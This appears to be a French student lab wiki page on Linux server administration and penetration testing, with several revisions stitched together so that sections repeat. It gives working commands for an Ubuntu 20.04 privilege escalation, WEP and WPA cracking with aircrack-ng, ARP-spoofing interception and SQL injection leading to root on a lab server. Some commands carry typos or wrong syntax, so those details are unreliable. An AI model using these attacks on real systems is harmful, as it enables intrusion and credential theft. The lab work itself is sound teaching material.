Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP ==

TP sysres IMA5sc 2020/2021 G8

2020-12-01T21:06:35Z

Jsoulaim : Annulation des modifications 54215 de Jsoulaim (discussion)

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

Nous pouvons maintenant configurer le serveur mail de notre VM:

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP ==

TP sysres IMA5sc 2020/2021 G8

2020-12-01T21:06:20Z

Jsoulaim : Annulation des modifications 54216 de Jsoulaim (discussion)

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

Nous pouvons maintenant configurer le serveur mail de notre VM:

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

==4.3 Sécurisation de site web par certificat==

Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Nous copions ensuite le contenu du fichier .csr sur Gandi

TP sysres IMA5sc 2020/2021 G8

2020-12-01T21:00:59Z

Jsoulaim : /* 4.3 Sécurisation de site web par certificat */

TP sysres IMA5sc 2020/2021 G8

2020-12-01T19:40:00Z

Jsoulaim :

TP sysres IMA5sc 2020/2021 G8

2020-11-30T15:08:50Z

Jsoulaim :

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

Nous pouvons maintenant configurer le serveur mail de notre VM:

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

